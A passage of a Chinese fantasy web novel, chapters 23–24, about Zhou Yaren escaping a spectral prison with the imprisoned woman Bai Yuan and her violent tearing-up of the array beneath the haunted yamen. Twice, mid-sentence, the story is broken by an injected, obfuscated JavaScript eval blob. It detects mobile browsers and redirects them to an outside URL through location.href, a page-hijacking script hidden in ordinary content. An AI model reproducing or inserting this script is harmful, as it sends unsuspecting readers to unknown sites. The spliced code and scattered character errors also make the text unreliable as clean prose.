那些伤口日益发腐溃烂,他差点就烂在了那个常年不见天日的黑暗里,像每一次在夜里纠缠他的梦魇一样。 但那不是梦魇,那是他真实经历的过去。 所有痛苦绝望的记忆纷至沓来,他记得他连申冤的机会都没有。 直到这一刻,忽然有人告诉他,你的身上担着刑劫,周雅人竟有些瑟瑟发抖起来,然后听见对方说:“你可能永远无法洗清,但是我能帮你。” 她的声音带着某种蛊惑人心的魔力,像轻风拂过耳膜,顺着耳廓递进去,让人情难自禁地想对她言听计从,“你把我放开,我能救你。” 她说:“我能救你。” 周雅人脑中有根神经在剧烈拉扯,仿佛他仍被关在那个阴暗潮湿的牢狱中,周围是苟延残喘的呻吟,忽而听见这句话,便愿意不顾一切抓住这根救命稻草。 周雅人迎着那抹迷惑人的目光,瞳孔逐渐涣散。 我能救你—— 豆大的冷汗从他额角滑落下去,周雅人攥着铁锁的手背青筋暴起。 他用了极大的意志力挣脱,铁锁在手中硬生生崩断了。 随即他袖管一扬,挥出的风刃带着血煞,直刺向白冤。 与此同时,又卷起另一股飓风,狠狠推了陆秉方道长四人一把,将他们全部推出祭台,厉声道:“走!” 他绝不能轻信这个女人将她放出去。 重获自由的陆秉等人什么都顾不上,连滚带爬往外逃。 “找死。”白冤挥着铁锁撞上凌厉无比的风刃,铁锁应声而断,她刚要朝奔向狱门的几人发难,就遭到周雅人阻拦。 白冤眼神凌厉,重获自由的左手一拳砸在周雅人肋下,直接砸得人吐血。 周雅人拼尽全力绊住她,每一记风刃都掺着血煞往那女人的心窝子上捅,但是无一例外都捅在了绑缚她的铭文铁锁上。 “为了永远困住我,你当狱神像和狴犴门是摆设吗?!” 周雅人还没反应过来对方话里的意思,就听狱门处传来惊声尖叫和一声类似于野兽的怒吼。 他猛地回过头,就见一只庞然大物从狱门门头蹿下,猛扑向方道长几人。 庞然大物铜铃般的双目闪着绿莹莹的凶光,尖利如刀的爪子朝着弱小的人类狠抓过去,这一爪足以将方道长捅个对穿。 周雅人脸色大变,一记风刃扫过去,堪堪将那一利爪撞偏。 方道长瞳孔剧震,从狴犴爪下死里逃生,连滚带爬地往旁边翻滚:“狴犴,狴犴。” 撞了个大邪,这狱门门头上镶嵌的狴犴居然活了,像一头凶悍无比的兽影,爪牙如同利剑,衬得方道长手里那柄长剑犹如破铜烂铁,他还没挥舞两下,就被狴犴一巴掌给拍折了。 陆秉和衙役纷纷拔刀,只不过拔刀的胳膊抖得如同手抽筋。 狴犴一声长啸就吓得众人缴了械,实在是握不稳那几寸铁,只能凭求生的本能抱头鼠窜。 周雅人一道又一道风刃杀出去,只稍稍能阻一阻狴犴拍向陆秉等人的利爪,而他的后背早已被冷汗浸湿。 狴犴被风刃阻挠,性情愈发狂暴,一猛子将逃窜的黑子拍飞出去。 黑子狠撞在墙上,又重重砸下来,五脏六腑都撞碎了般,哇地吐出一大口鲜血。 “黑子!”陆秉急吼出声,朝黑子狂奔过去,但是狴犴已经堵在了陆秉头顶,朝他张开血盆大口,足以将一个大活人生吞活剥。 周雅人欲扑上前,无以计数的铁锁却在如此千钧一发的瞬间缠住了他,硬生生将他困在祭台。 狴犴猛地朝陆秉撕咬过去,长剑似的獠牙洞穿了陆秉的肩膀。 周雅人目眦欲裂,只有白冤的声音冷漠又无情:“你以为你们能从这狴犴门里走出去吗?” 耳边响起陆秉的惨叫,周雅人额头青筋暴起,浅淡的盲瞳瞬间充血发红,周身的铁锁轰然崩断炸开,然后不顾一切扑上去,险象环生地将陆秉从狴犴的牙口底下抢回来。 两个人滚成一团,他手忙脚乱地去堵陆秉肩头的贯穿伤,以免他失血过多:“陆秉,有没有事?” “没……啊……没事。”陆秉疼得瞬身冒冷汗,整张脸面无人色。 也是在这一刻,周雅人无意中瞥见一截缠在陆秉小腿上的铭文铁锁,他恍惚了一下,隐隐觉察到刚才陆秉是该被狴犴一口嚼碎的。 周雅人猛地回头,看见狴犴正暴怒地甩开缠在獠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390517|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙上的一截铁锁。 狴犴怒吼一声,朝他们猛冲而来,周雅人不及细想,拽着陆秉骤然拐弯。 那狴犴反应不及,一猛子撞上坚硬的石壁,碎石垮了一地,那面石墙却依然挺立,也不知道究竟几丈厚。 狴犴暴怒转身,怒目圆瞪地朝他们龇牙咧嘴,随后几个猛蹿,凶兽过境,将周雅人和陆秉逼到了死角,随即扬起利爪,犹如悬起的铡刀,碾压过卷起的风刃,要将他们拆骨碎肉。 然而下一刻,一道白芒急速闪过,几乎晃花了周雅人的双目,庞大如山的狴犴狠狠摔出去,砸得整个地面晃动。 周雅人惶惶然抬头,就见那女子背对他们,笔直地挡在狴犴面前,除去了那身禁锢的枷锁,她一袭白衣素衫,长发如瀑般垂在脚踝,竟不显丝毫狼狈之象。 白冤清凌凌侧首,像在还一个人情,语气却根本不像欠谁人情,她说:“走吧。” “你……”周雅人只怔了一霎,立刻架起陆秉奔往狱门,“方道长,快带他们走。” 方道长和衙役屁滚尿流地架起昏死过去的黑子,刚踏出没几步,地面开始剧烈震动,好像整个刑狱立马要坍塌般,他们差点一脚踏空,东倒西歪地往外逃。 然而沿途的死尸们突然开始面目狰狞,四肢和躯干僵硬地扭曲起来,诈尸似的。 方道长骇然失色,与他一起架着黑子的衙役差点要跪,好歹强撑住了,拼了老命往外蹿。 周雅人最后关头回首,在一片诡异的惨景中目睹无以计数的冤魂复苏,携着泼天的怨气朝那女子涌过去…… 狴犴咆哮如雷般蹿起数丈,凶狠无比的朝那女子猛扑上去…… 祭台四周的七尊狱神法象陡然站了起来,同样朝着那挣开枷锁的女子而去…… 刑狱内群魔乱舞,全都冲着她一个“人”去,因为她才是这里真正的囚徒。 这里所部署的一切,皋陶造狱,狴犴守门,以死魂所作的铭文枷锁,都是为了永远困住她。 周雅人脚步滞了一下,心头没来由的一阵发紧,脑子里忽地冒出一个想要掉头回去的荒谬念头。 她到底是什么人?为什么会被困在这里? 她说她叫白冤,不白之冤的那个白冤。 她说你的身上担着刑劫。 她还说——我能救你。 周雅人脑中一片混乱,一句“我不是罪人”积压在心底,那曾让他求天无路,告地无门。 陷入包围的白冤似乎有所感应般回眸,阴冷的双眸中仿佛压着一抹极其复杂的悲悯之色。 有一刹那间,周雅人以为那是他的错觉。 因为下一刻那女子已经腾空而起,轻盈飘逸的白衣素衫中包着一柄凌厉如剑的身姿,挟着飞扬的气势。柔中带韧,清冷却杀气腾腾,指如长剑般刺入狴犴的眉心。 刑狱中顿时传出震彻天地的吼叫。 紧接着,皋陶的法相被数道白芒搅成碎光,狰狞扭曲的死魂骤然炸开,眼前的一切顷刻间分崩离析,滔天的洪水像从捅破的天上倒灌而下,瞬间淹没了整座刑狱——沉在水底的太阴/道体破碎了。 而在道体破碎之前,周雅人连自己都没意识到,他的一条腿已经往刑狱方向踏出了一步。 他想折返吗,折返干什么? 总不可能是想帮她一把,也不见得是想困住她。 只是洪水突如其来,将所有人全部冲散,他根本抓不住被激流撞出去的陆秉。 23、开河啦 衙役被灌了满肚子浊水,黑子遭遇暗流撕扯却依然毫无意识。 方道长被大浪拍击,心肺都要震碎了,但是憋着最后一口气,心急火燎地往上漂浮。奈何头顶是一片足足三尺来厚的冰层,硬如坚石,可供人来人往,哪怕他撞破脑袋都撞不开。 这是一股被藏在冰层下的汹涌波涛,几人好不容易从太阴/道体逃出来,却又被闷在了坚厚的冰层下几近室息,这是什么倒霉催的狗屁命运。 就在方道长死命砸冰,砸得快要死过去却连冰渣子都没蹭掉一块的时候,方道长翻着白眼看见水中数道锋利的白芒射来。 如同冷光下的寒剑斩过,方道长惊恐万状地闪避了一下。 白芒所过之处,他头顶的冰层裂开了,随即整条大河的坚冰开始四分五裂…… 正巧有名起早贪黑的农夫牵着骡子准备过河,刚踏上冰面,脚下的冰块随即裂开滑动。 农夫差点儿掉坑里,连忙退回岸边,目瞪口呆地看着面前不可思议的场景。明明坚实的冰路在瞬息间分崩离析,大河的水浪卷着大块的冰坨子滚滚而下。 “开……开河了?”农夫惊震之后,突然高喊出声,"开河啦!开河啦!" 农夫完全没寻思此事的不同寻常,转身往城里的方向奔去,一边跑一边大声高喊:“开河啦,开河啦,乡亲们,黄河,开河啦,开河啦……” 他声音洪亮,扩散方圆几里,带着某种难掩的激动。 孟门码头的小屋率先亮起了灯,守在码头的小工听见动静,披上打满补丁的棉袄提着灯笼出来,不免被寒冽的冷风扑了个哆嗦。小工睡眼惺忪地往大河里一探望,还没来得及吃惊,就被翻沸的河水浇了满头满脸。与此同时,冰层在水底被大力掀开,那阵势,好似水底有龙掀巨浪,河中顿时浊浪惊空,水花四溅。 一名披头散发的白衣女子从水底跃起,冰凌在其周身炸开。 洪涛席卷,大浪拍岸,茫茫的水雾如同滚滚白烟,在大河中央弥漫铺开,几乎将她完全掩在其间。码头小工遭了无妄之灾,右眼被一块儿炸起的冰凌砸中,他哎哟一声痛叫,捂着眼眶瘫倒在地。 大河如翻腾的巨龙,声嘶力竭的怒哮着,闹海一般,惹得码头小工心头大骇,这大河开的是不是过于惊天动地了? 紧接着水里冒出一只被泡得惨白的手,猛一下抓住了他的脚踝。小工惊声尖叫,吓得一个劲儿猛踢乱踹,差点把好不容易从鬼门关爬出来的方道长又一脚给踹回去。遭受一通踢踹的方道长苦不堪言,不得不缩回那只惨白的胳膊,冒出一颗吓死人不偿命的头颅,要死不活地喊:“拉……拉我一把……” “鬼,有鬼啊。”码头小工吓得连滚带爬,哭爹喊娘地跑了,只扔下一盏熄灭的灯笼被滔滔不绝的河水卷入其中,被冰层挤碎。 方道长望着小工屁滚尿流的背影,有气无力地争辩:“我不是鬼,我是人。” 但那要死不活的声音像极了水鬼索命。 农夫嘹亮的“开河”声在几里外绵延,传入城中。 紧跟着码头小工在后头鬼哭狼嚎地叫“鬼啊,有鬼啊”。 再就是方道长气若游丝的解释“我不是鬼”,却被如雷的涛声淹没了。 白冤轻轻一捞,便从水中拽出来个昏迷不醒的人。她目光在激流中一扫而过,锁定住刚爬上岸的一道青衣身影。 白冤踏上脚下一块浮动的冰,顺激流而下,将手里人事不省的这位扔到那人面前。 “陆秉。”周雅人猝不及防接住人,抬头望向对方。 白冤俯视他狼狈且有些反应不及的样子,淡然开口:“送你个人情。”说完她便转身,周雅人连忙唤住:“等等……”“嗯?”白冤转身看他。 周雅人急喘几口:“你为什么会被困在太阴/道体?” 他下一句其实很想问:是作了什么孽吗?但他极力忍住了。 白冤沉默地看着他,那种冰冷的目光,让周雅人一度认为她不会开口回答。然而须臾之后,她却道:“这是一座冤狱。” 周雅人每次用耳过度,耳中都会响起一片嗡鸣,他需要集中精力才能听清对方的话。对啊,这是一座冤狱,那些被关在太阴/道体的都是冤死之人,所以她也是吗?可她明明是被所有冤死者困锁之人。 白冤语气诡异的平静:“这里是专门为那些死魂打造的冤狱,也是专门用来囚禁我的冤狱。”周雅人匪夷所思地望着她:“什么意思?” 她思虑之后,坦然以对:“我叫白冤,能困住我的,自然是不白之冤。”周雅人瞠目,明明听上去很简单的一句话,他好像有点明白,又似乎不甚明白。 周雅人心念几转,才从庞杂错乱的神思中缕清一点思路,然而还没等他反问,对方已转身消失在那片白茫茫的水雾之中,周雅人腾地起身,冲着奔涌的大河问:“你去哪儿?!”回应他的只有一片咆哮似的洪涛声。 周雅人整颗心跳得飞快,因为他还不清楚自己究竟放了个什么东西出来。她是不是邪魔,有没有危险,会不会害人?周雅人越想越心惊胆战,俯身去察探昏迷不醒的陆秉,然而双手却在不由自主地微微颤抖。 “ 陆秉,陆秉….…” 陆乘 地呛出几口水,艰难醒转,因为浑身都疼,大疼了,好似遭遇了七八个高大咸猛的壮汉群殴,骨头都给他打断了。但是最疼的是右肩,那里有个贯穿伤,他稍稍动,就疼得差点昏厥,并毗牙咧 嘴的哀嚎起来。 “……嗷嗷……” “陆秉,你先忍忍。” “我们这是出来了吗?”仿佛做梦一样,他还有些魂不附体。“对,出来了,没事了。”周雅人小心翼翼搀扶他。 “真是没想到,进了那种鬼地方,我们居然还能活着出来。”简直逃出生天,陆秉强忍疼痛,问,“黑子他们呢?还有方道长?”周雅人摇头:“不知道。” 他们全被冲散了,若不是那女子捞了陆秉一把,恐怕陆秉也凶多吉少。两人蓦地沉默了。 陆秉的脸色白得吓人,就在这时,背后突然有人上气不接下气地喊了声:“头儿……”陆秉倏然回头,这动作猛地牵扯到肩膀的伤,他嗷一嗓子嚎出来,居然把衙役背上的黑子给嚎醒了。 看到这俩落水狗似的下属,个个撞得鼻青脸肿,头破血流,惨是惨了点儿,但起码都还活生生的,没少胳膊也没少腿儿。陆秉突然鼻头发酸,眼眶发胀。好在此时天黑,也不知道几更天,没人会注意到他这副窘迫失态的模样。陆秉粗声粗气,很有几分装腔作势的样子:“你俩伤得重不重,赶紧跟我回去找郎中瞧瞧,别落个什么病根儿。”衙役立刻喊疼:“哎哟喂,那可没准儿。” 黑子趴在衙役背上,显然中气不足:“我感觉我受了很重的内伤。” 衙役嚷嚷完,不忘关心上级:"头儿,你没事儿吧?" 陆秉硬撑着:“死不了。” 黑子点头点得有气无力的,没多余的精神贫嘴了,只道:“有命活就行。” 衙役在他们当中受伤最轻,但仍然心有余悸:“我以为我真的要活不成了,我当时就想我要是死了留我娘一个人可咋办啊,她眼神儿又不好,前些日子打水做饭的时候又把腿择了,就指望我给她养老呢。” 闻言陆秉心头堵得慌,对他俩一阵愧疚。他虽然也尽力办案,但从没想过拿谁的性命去尽力。谁都有家有牵挂,更有牵挂他们的父母妻女。他们若是没了,撂下的孤儿寡母怎么办呢?陆秉承认自己也是怕死的,谁不想踏踏实实活着呢。 再说了,他还想多孝敬孝敬祖母,百年后给自己老爹送终,可不能让白发人送黑发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786514|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。所以他不仅惜自己的命,也惜手底下兄弟们的命。 一直沉默不语的周雅人忽然开口:“不该让你们跟着冒险。” 衙役和黑子登时闭了嘴,齐刷刷看向陆秉,那模样分明在表示,他们也就牢骚几句,绝对没有怪谁的意思。 陆秉立刻道:“什么话呀,又不是因为你,再说了,这情况谁能料到。那方道长平常看着挺稳重的一个人,谁知道能这么风风火火的,载个跟头居然直接把你扑井里去了。哎呀我真是,当时差点没气死过去……” 衙役出声:“那方道长呢?” 方道长此刻肥进了码头小屋里,扒光了湿透的道抱,裹上了床铺上的大棉被,原地狠很打了个冷摆子。然后一边哆嗦 边点然屋里的炭火,隐约听见几声此起彼伏的喊声,隐没在大河的怒涛中,好像在 叫他,又好像不是在叫他。 “……长……” "方……长……" “……道……” “道长……” “方道长——” 方道长一个激灵,最后这句听清了,确实有人在叫他,而且应该是陆捕头的声音。方道长顿时起身,裹着厚厚的大棉被跑出屋,整个人激动坏了。 这么大的洪流,他还以为大家都遇难了呢,就自己侥幸活了下来,结果没想到…… 黑暗中隐约出现半个身影,方道长差点喜极而泣,连忙一瘸一拐小跑着迎上去:“欸,我在这儿呢,陆捕头——”然而当他即将靠近的瞬间,隐于黑暗中的影子突然一跃数丈,猛地朝他扑过去。方道长陡然瞪大眼,连人带被子一起被扑进浩浩荡荡的大河中。 …… “方道长。”“方道长。”几人体力不支,相互搀扶着边走边轮流呼喊。 周雅人魂游天外地跟他们走了一段,忽地驻足:“陆秉。”"方……”"陆秉刚起了个头,被中途打断,扭头问,“钦?""你们自己能回去吗?""能是能,怎么了?" 能就行,我有点事要先走一步,你们三个注意安全。现在天太冷,一会儿还会刮风,你们浑身湿透了,长时间待在外面很容易失温。如果沿途找不到方道长,千万别在河边眈搁,尽快进城包扎伤口, 再派别的人来找。" 周雅人交代完便转身离开。 陆秉来不及拦他,一整个莫名其妙:“不是,你要去哪儿,突然能有啥事儿啊?” 周雅人并不打算坦白:“私事。” “你初来乍到的,能有什么私事儿?!”陆秉眼见他脚步飞快,越走越远,丝毫没有停顿的意思,不得不气沉丹田扯开噪门儿喊,"周雅人,你脖子上还有伤呐,跟我一块儿看大夫去!"陆秉本想追,结 果刚迈出一大步就牵扯到肩膀上的伤,疼得他不敢大幅度行动,只能眼睁睁看着人影消失。 陆秉真是奇了怪了,同样负伤,他怎么还能蹿得这么快,脖子那块儿难道不疼吗?! 陆秉本还担心他又突发奇想返回去冒险,但是周雅人此去的方向正是北屈县城,这跟他们走的就是同一条道啊,那人着什么急?衙役观望着行动敏捷的周雅人,质疑道:“头儿,您说这位长安来的大人是真看不见吗?我怎么觉着他一点都不瞎啊!”黑子也相当纳闷儿:“而且他连盲杖都没用了。” 陆秉不耐烦的“啧”了一声,其实不怨旁人质疑,他也曾觉得周雅人不像个盲瞽,毕竟日常行动太过自如。因此陆秉还曾在长安试探过几回,但对方确确实实看不见,他就是耳朵太灵太灵,甚至灵过大多数人的眼睛。 周雅人能通过感知风和气的流动来判断四周有没有障碍物,然后畅通无阻地行过山坳与旷野,踏入城门,疾风似的穿过长街。如果他没预料错的话,白冤踏入人世的第一个去处,就是那座矗立北屈的鬼衙门。 24、囹圄崩 远远的,前方传来“轰”的一声巨响,地面也在同时震颤了几下,震得人腿脚发麻,心口发紧。 待周雅人赶到鬼衙门时,外头已经围了许多老百姓,他们全都远远站成一团,即惊恐又好奇地伸着脖子观望,时不时低声私聊几句,无非就是问:“发生什么事了?”"不知道啊,突然听见轰隆几声把我给吓醒了,这不就出来瞧瞧发生什么事了么。" 有人惶恐问:“是鬼衙门里传出来的吗?” “里面闹鬼了吗?” “不知道啊,这动静真不小,好像是房屋塌了吧?” “报官了吗?” “报官能顶什么用,这鬼衙门闹出动静了不是应该去找人祖山的道士么?” "对对对,应该去找道士来,那方道长不是就在咱们北屈吗,住那什么客栈来着?"“哎呀别靠近,大伙儿快别往前凑了,那地方邪门儿得很,站远咯。”“钦,那个谁,那年轻人,你别过去啊!” 大伙儿正窃窃私语,突然看见一年轻人疾奔而过,径直冲着鬼衙门去了,喊都喊不住。 “哎呀,他咋不听招呼呐,那地方可千万去不得啊。”老妇人一拍大腿,急了,恨不得追上去把他拽住,被旁边人及时按住了,“你快别管,没发现那人看着也挺奇怪么?”大家这才注意到,那人浑身湿漉漉的,胸前和肩膀上染了大片血迹。疾步而过的瞬间掀起阵阵寒风,风中糅杂着一股淡淡血腥味儿,正是从他身上散出来的。众人瞬间变了脸色,鸦雀无声地看着他闯进鬼衙门。 周雅人刚踏进来,横亘在前的仪门便轰然倒塌,两侧的房屋也在摇摇欲坠,瓦砾纷纷坠落,噼里啪啦砸碎在地上。 原本坚硬的地面再也不堪重负似的塌陷下去,像从地底掏了个巨大的窟窿,鬼衙门的整座大堂往前倾倒。 “白冤!”周雅人不顾一切冲进去,脚下的青砖被一股暴戾之气掀开,硬生生将他逼退数丈。 周雅人挡开砸落而下的砖瓦,固执地往里进,垫在地基下的白骨和阵石暴露了出来,他骤然刹住脚步,惊心动魄地抬起头。白冤站在一片废墟里,隔着滚滚尘烟看向他。 而在周雅人眼中,她的身上依然系着一串又一串铭文缀成的刑咒,浅浅淡淡的,与这地基下的阵石连成一体,同时缠裹在那些白骨上。 周雅人这才看清,白觅的双手紧紧接着 把系连住大阵的刑咒。它们早就缀成了一条条长长的铭文加锁,织成大网铺开在鬼衙门的地基之下,覆盖住所有冤死之躯,然后被白冤从地底猛地拖拽出来—拖出来累累白骨。 脚下的大地开始震颤,地底传来隆隆的轰鸣,像是有只沉眠的巨兽在此刻复苏。周雅人几乎站不稳,踉跄着往前迈了几步。 屋脊轰然坍塌,朝他兜头砸下,周雅人迅速飞跃而过,在坍塌中进退两难地避让:“你要将这里夷为平地?”白冤冷若冰霜:“你想阻拦我?”然而临到这一刻,阻拦的话他是万万说不出口了。 "我曾听人说,"白冤寒声道,“凡死于官署者,为衙神所拘,非墙屋倾颓,魂不得出。”"衙神所拘?"白冤讽刺的扬了扬嘴角,“这就是他们所谓的衙神所拘?!" 她不仅要将这里夷为平地,还要将整个鬼衙门都翻过来。 周雅入艰难做了个吞咽的动作,整个人几乎有些潦倒地站在原地,因为此刻他看得比任何时候都要明白,什么衙神所向 魂不得出,在此都只为蒙蔽世人罢了,毕竞人祖山的方道长信了,北屈的百姓信 了,他也差点就信了,若不是亲眼目睹:"整座鬼衙门都是阵。" 整座鬼衙门的地基下埋着一个庞大的阵法,成为镇压太阴/道体的禁制。 怪不得,怪不得之前踏入鬼衙门内,他能感知周遭阴气浓郁和散乱波动的寒流从符阵中漏出,却一直察觉不到气从何来,原来压在地基之下,连通着太阴/道体。这该是怎样费尽心机的布局啊。 “若在此阵上建衙,所有那些冤死在衙署的人都会沉入太阴/道体。” “没错,”白冤开口,“鬼衙门中的每一具冤死之躯,都是太阴/道体刑狱中的冤死之魂。”"为了镇压你?" “为了镇压我。”白冤吐字尤为清晰,“世间人作孽,造了多少冤假错案。” 阳世间每多一个冤死之人,她的身上就会再多拴一条意为沉冤的枷锁。 周雅人几乎难以呼吸:"为什么?" 为什么?白冤恍惚中顿了顿:"于我而言,沉冤是一道刑咒。" 是了,他在太阴/道体中仔细查看过,缚住白冤的那些古老铭文确实是一种刑咒。 “有人通过地基下的大阵将刑咒变成枷锁,再布一爻卦阵,就能将刑咒制成的枷锁牢牢扣在我身上,”白冤沉声道,“欲将我永远囚禁在冤狱。” 周雅人清晰记得陆秉从死牢挖出来的三枚秦币,事后他和方道长分别都排过一卦,结果排出了同样的卦阵,就是摆在死牢中的那一爻卦阵。 "系用徽纏,寘于丛棘,永不得出。" 原来那一爻卦阵竟是这个用意,将刑咒制成枷锁捆缚住白冤,可他不明白:“为什么要用这种方式囚禁你,是你做过什 么伤天害理之事?还是曾与人结怨?” 白冤反问:"那你呢,你被下狱又是做过什么,或与何人结过怨?" 一句话将他堵得哑口无言。 他没做过什么,也不曾与人结怨,他是被冤枉的。 周雅人狠狠咬住舌根,极力平息内心深处的恐慌,直到一抹铁腥味儿在嘴里散开:“你怎么会知道?”白冤面无表情:“我当然知道。” “从何而知?” “你的神魂烙着一道刑伤。”白冤直视他,平铺直叙般开口,“这一生都该身陷囹圄,不得开释。” 对方一字一句,好似在对他的一生宣判。 周雅人心底掀起惊涛骇浪,面上强撑的镇定几乎快要维持不住,隐在袖袍中的手指微微轻颤,然后听见她问:“可你如今怎会出现在此地?是逃出来的么?”"你….…"他一张口,声音却哑得厉害。 咔咔—— 轰—— 两旁赋役房梁柱折断坍塌的巨大声响将他喑哑的话头压住了。暴风骤起,草木摧折,卷起的漫天黄沙迷人眼目。 一道黑气从鬼衙门的地基中升腾而起,犹如浓浓的黑烟,从大阵撕开的裂缝中卷出来,翻滚在这片轰然倒塌的废墟之中。周雅人看到一片浓到发稠的黑雾,与肆虐的狂风冲撞在一起,发出声声类似困兽般的风啸,戾气所过之处,砾石崩落。周雅人抬手挥开飞溅的碎石,目光快速扫过从地基中显露出来的铭文,他荡开暴虐的黑气:“等等,这大阵……”白冤却是铁了心要将这埋伏的大阵连根拔起,地基被掀起的同时,震颤不休的大地出现了无数裂口,一路蔓延开去。条条裂隙爬上衙署的围墙,如同蜿蜒的藤蔓,青砖砌成的墙体骤然开裂,被翻滚的黑气一撞就塌。 顷刻间,山崩地裂,周雅人在狂风嘶吼中捕闻到一片惊惶失措的人声。鬼衙门墙垣倾颓,四周废弃的民宅遭到波及,剧烈摇晃了几下就开始崩塌。 那裂缝朝着四面八方扩散,一直往街巷延伸开去,周雅人一颗心沉到了谷底,厉声吼:“白冤,你别硬来!” 一道道符篆化在风里像补丁一样打下去,却根本无济于事。 “别在这儿碍事。” 周雅人不知被肆掠冲撞的黑气撂倒了多少次,头脸被崩落的砾石划伤了,他顾不上自身,拼了全力要往阵眼中心闯。 但那阵眼之地被巨大的黑气笼罩住,形成狂暴的海涡,仿佛阻隔着道山海般的屏障,他一旦靠近,就被刚得满身是伤:“我也不想碍你的事,但这大阵扎根在地下长达干年,已经蔓延至整个北屈,你 不能硬来!" 地底隆隆的巨响好似潜伏的龙吟,而白冤此刻正抓着那根足以毁城的龙尾,她这一抽,是要抽了整座北屈的地基。周雅人快速开口,欲劝她收手:“我知道你心里有气……” “有气?”仅仅是轻描淡写的有气而已么?! “不是,愤恨,我知道你心里愤恨,但眼这一城的百姓无关,他们根本亳不知情,如果你执意把大阵翻过来,必然导致房屋倾颓。”百姓流离失所都是轻的,人们绝大多数都还沉在睡梦之中,对即将会 到来的灾祸浑然不觉,周雅人几乎嘶吼出来,“那此刻全城的百姓就会被活埋!白冤!你住手!” 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只是这片刻停顿和犹疑,撕裂的大阵开始地动山摇的逆转,仿如凶猛无比的反噬,牵系两端的刑咒将白冤切割得鲜血淋漓,下一刻就要将其撕成碎片。 千刀万剐也不过如此了。 她何苦要遭这些罪? 白冤伸出手,在虚空中狠狠 攥,抓了把黑气翻涌的狂澜,那冲天的怨气瞬间将她的手臂蚀成白骨,又横行无忌地扫荡过境,砖石屋瓦碎成商粉——这埋了千载的沉冤要翻天。眼见这股腐蚀血肉的怨气朝着民宅四散侵袭,周雅人迅速御风,在鬼衙门四周筑起一道风墙。 那黑气撞在风墙上,无处可去,又巨浪似的翻回来,张牙舞爪地冲着阵眼之中的白冤奔涌而去。 那本来就是压在她肩上的沉冤,来去无路,自然要由她担待。 天命雷霆似的压下来,她挣不 脱这道束缚。 可挣不脱也想挣。 多少年了,她算不清这些笔孽债,白冤被天命生生压出一身反骨来,反正也要受活剐——她忽然抬了下血肉模糊的眼皮,看了眼筑起风墙欲守住北屈的青衣人,实在落魄得很。 黑气朝她奔涌而来的瞬间,那人甚至手忙脚乱地想替她挡一下,只是那罡风在海潮般的黑煞前犹如螳臂当车,倏忽就散了。 连筑起的风墙也在顷刻间轰然崩散。 白冤突然觉得挺有意思。 这人是什么优柔寡断的活菩萨,大难临头他居然谁都想要捞一把,到最后两头他都顾不上,甚至连带自己也搭进去,尽干些吃力不讨好的事情。耀目的闪电划破沉沉夜色,人们这才看见漫天低垂的黑云,浓墨似的积压在鬼衙门上空。云地之间,黑煞喷涌,像一场毁天灭地的灾难,带着巨大的杀伤力,掀屋拔树,势扫乾坤。周雅人被扫出去数丈,才堪堪顶住了那股强猛的势头,想破风前进,却寸步难行。 白冤望了一眼天上的雷云,心想,剐就剐吧,反正已经千刀万剐了。 不就是冤仇么?! 于是她毫不犹豫地在自己腹部横切一刀,与此牵系的地基大阵中同时横生出一道深不见底的裂隙。她干脆把自己变成一道人形符阵,在骨肉上肆意改画,然后整个人血淋淋地晃了晃,大地也随之剧烈晃动起来。黑气疯了似的猛蹿而起,里头仿佛裹着万千鬼影,正声嘶力竭地挣脱咆哮。 周雅人好似听见无数的鬼哭狼嚎,裹在巨大的暴风中,伴随着一股强烈的旋转之力,裹着黑云往阵眼收束。当空一声轰鸣,蛰伏的劫雷自闪电之后砸下来,落地前与呼啸的长风撞在一起。周雅人截了这一道惊雷,鬼衙门炸起数十丈高的尘灰,巨响惊动了整个北屈,天塌地陷似的。 乱窜的黑煞之气肃清了。 四周风沙弥漫,却迷不了周雅人那双盲眼。他踉踉跄跄爬起来,耳边喻鸣不绝,脚步虚浮地踩在废墟之上,孤身迈进漫天尘埃里,直往那阵眼中去。血淋淋的白冤跪坐在地,头低低垂着,手握一柄黑伞杵在阵眼之上,被深重的煞气萦绕住。 周雅人只看了一眼,就不忍地撇开了头,然后他才终于恢复知觉般,身上的痛山呼海啸般袭来,疼得他站立不住,双膝一软跪了下去。